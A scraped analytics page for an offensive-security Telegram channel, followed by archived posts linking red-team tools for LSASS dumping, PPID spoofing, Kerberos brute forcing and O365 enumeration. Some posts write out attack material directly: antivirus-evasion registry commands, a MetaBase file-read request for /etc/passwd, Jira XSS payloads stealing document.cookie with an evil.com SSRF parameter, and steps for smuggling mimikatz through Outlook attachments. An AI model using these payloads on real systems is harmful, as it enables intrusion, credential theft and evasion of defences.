ru
Feedback
APT

APT

Открыть в Telegram

This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat

Больше
Россия40 535Технологии и приложения7 794

📈 Аналитический обзор Telegram-канала APT

Канал APT (@apt_notes) языкового сегмента Английский является активным участником. Сейчас сообщество объединяет 16 275 подписчиков, занимая 7 794 место в категории Технологии и приложения и 40 535 место в регионе Россия.

📊 Показатели аудитории и динамика

С момента создания невідомо проект демонстрирует стремительный рост, собрав аудиторию из 16 275 подписчиков.

Согласно последним данным от 01 сентября, 2026, канал показывает стабильную активность. За последние 30 дней изменение числа участников составило 547, а за последние 24 часа — 18, при этом общий охват остаётся высоким.

  • Статус верификации: Не верифицирован
  • Уровень вовлечённости (ER): Средний показатель вовлечённости аудитории составляет 44.29%. В первые 24 часа после публикации контент обычно набирает 18.04% реакций от общего числа подписчиков.
  • Охват публикаций: В среднем каждый пост получает 7 204 просмотров. В течение первых суток публикация набирает 2 934 просмотров.
  • Реакции и взаимодействия: Аудитория активно поддерживает контент: среднее количество реакций на один пост — 26.

📝 Описание и контентная политика

Автор описывает ресурс как площадку для выражения субъективного мнения:
“This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat”

Благодаря высокой частоте обновлений (последние данные получены 02 сентября, 2026) канал поддерживает актуальность и высокий уровень охвата публикаций. Аналитика показывает, что аудитория активно взаимодействует с контентом, что делает его важной точкой влияния в категории Технологии и приложения.

16 275
Подписчики
+1824 часа
+827 дней
+54730 дней
Архив постов
APT
APT
16 273

APT
APT
16 273
Outlook Attachments Attackers can compose an email on Outlook (or O365) and attach a file and then use the file's download li
Outlook Attachments Attackers can compose an email on Outlook (or O365) and attach a file and then use the file's download link to directly download the file. Restricted file types would first need to have their file extension modified (e.g. mimikatz.exe becomes mimikatz.exe.txt) and then upon download the file extension is modified back to the original extension. 
1. Compose an email
2. Attach a file (add .txt to the end if it's a restricted file type)
3. Click on the file to download it and grab the link (attachment.outlook.live.net or attachment.office.net)
Link is valid for ~15 minutes. #outlook #attachments #redteam #phishing

APT
APT
16 273
pyKerbrute Use Python to quickly brute force and enumerate valid Active Directory accounts through Kerberos Pre-Authentication (supports Pass-the-Hash) https://github.com/3gstudent/pyKerbrute #ad #kerberos #spray

APT
APT
16 273
Clipboard Shellcode Injection https://gist.github.com/Wra7h/69a03c802ae6977e74b1152a4b004515 #clipboard #shellcode #injection #redteam #maldev

APT
APT
16 273
Picky PPID Spoofing Parent Process ID (PPID) Spoofing is one of the techniques employed by malware authors to blend in the target system. This is done by making the malicious process look like it was spawned by another process. This helps evade detections that are based on anomalous parent-child process relationships. https://capt-meelo.github.io//redteam/maldev/2021/11/22/picky-ppid-spoofing.html #pid #spoofing #redteam #maldev #malware

APT
APT
16 273
InfoSec BlackFriday Offers - Books - Courses - Services - Software - Hardware https://github.com/0x90n/InfoSec-Black-Friday #
InfoSec BlackFriday Offers - Books - Courses - Services - Software - Hardware https://github.com/0x90n/InfoSec-Black-Friday #BlackFriday #InfoSec

APT
APT
16 273
DumpNParse DumpNParse is a tool that will automatically dump LSASS and parse the results. https://github.com/icyguider/DumpNParse #lsass #dump #parse

APT
APT
16 273
Windows installer LPE 0day https://github.com/klinix5/InstallerFileTakeOver #windows #lpe #0day

APT
APT
16 273
Bypass AV via Change Filenames/Extension You need to change the files extension: .eyb files as .exe .faq files as .dll Use th
Bypass AV via Change Filenames/Extension You need to change the files extension: .eyb files as .exe .faq files as .dll Use the following commands: 
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.eyb /f /ve /t REG_SZ /d exefile
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.eyb /f /v "Content Type" /t REG_SZ /d "application/x-msdownload"
This can also work on other security solutions and for many other blacklisted techniques. #av #evasion #extension #file

APT
APT
16 273
Microsoft Exchange Server RCE (PoC) This PoC just pop mspaint.exe on the target, can be use to recognize the signature pattern of a successful attack event https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398 #exchange #rce #poc

APT
APT
16 273
CVE-2021-41277 MetaBase Arbitrary File Read PoC: GET /api/geojson?url=file:/etc/passwd HTTP/1.1 #metabase #cve #poc
CVE-2021-41277 MetaBase Arbitrary File Read PoC: GET /api/geojson?url=file:/etc/passwd HTTP/1.1 #metabase #cve #poc

APT
APT
16 273
CVE-2021-41277 MetaBase Arbitrary File Read PoC: GET /api/geojson?url=file:/etc/passwd HTTP/1.1 #metabase #cve #poc

APT
APT
16 273
Cloudmare Cloudmare is a simple tool to find origin servers of websites protected by Cloudflare, Sucuri or Incapsula with a m
Cloudmare Cloudmare is a simple tool to find origin servers of websites protected by Cloudflare, Sucuri or Incapsula with a misconfiguration DNS. https://github.com/MrH0wl/Cloudmare #bugbounty #cloudflare #tracker #ip

APT
APT
16 273
Windows Privileges https://speakerdeck.com/fr0gger/windows-privileges #windows #privileges #cheatsheet
Windows Privileges https://speakerdeck.com/fr0gger/windows-privileges #windows #privileges #cheatsheet

APT
APT
16 273
GPUSleep Small project of mine that is designed to move Cobalt Strike (or any really) beacon image, and heap, from memory to GPU memory before going to sleep. And moves everything back at the same place after sleep. # https://github.com/oXis/GPUSleep # https://oxis.github.io/GPUSleep/ #redteam #gpu #sleep #beacon

APT
APT
16 273
Atlassian Jira Payloads /secure/QueryComponent!Default.jspa /secure/ViewUserHover.jspa /ViewUserHover.jspa?username=Admin /rest/api/2/dashboard?maxResults=100 /pages/%3CIFRAME%20SRC%3D%22javascript%3Aalert(‘XSS’)%22%3E.vm /rest/api/2/user/picker?query=admin /plugins/servlet/oauth/users/icon-uri?consumerUri=https://evil.com /secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=x2rnu%3Cscript%3Ealert(1)%3C%2fscript%3Et1nmk&Search=SearchConfigurePortalPages.jspa /plugins/servlet/Wallboard/?dashboardId=10100&dashboardId=10101&cyclePeriod=(function(){alert(document.cookie);return%2030000;})()&transitionFx=none&random=true /secure/ConfigurePortalPages!default.jspa?view=popular /secure/ManageFilters.jspa?filterView=search&Search=Search&filterView=search&sortColumn=favcount&sortAscending=false /secure/ContactAdministrators!default.jspa #bugbounty #jira #payloads

APT
APT
16 273
Microsoft Exchange Deserialization RCE (CVE-2021–42321) https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852 #exchange #rce #cve #deserialization

APT
APT
16 273
When You sysWhisper Loud Enough for AV to Hear You https://captmeelo.com/redteam/maldev/2021/11/18/av-evasion-syswhisper.html #av #evasion #syswhisper

APT
APT
16 273
Default Passwords Before performing password attacks, it is worth trying a couple of default passwords against the targeted service. Here are some website that provide default passwords for various products. # https://cirt.net/passwords # https://default-password.info/ # https://datarecovery.com/rd/default-passwords/ #default #passwords #services

APT
APT
16 273
Oh365 User Finder Oh365UserFinder is used for identifying valid o365 accounts without the risk of account lockouts. The tool
Oh365 User Finder Oh365UserFinder is used for identifying valid o365 accounts without the risk of account lockouts. The tool parses responses to identify the "IfExistsResult" flag is null or not, and responds appropriately if the user is valid. https://github.com/dievus/Oh365UserFinder #office365 #user #enumeration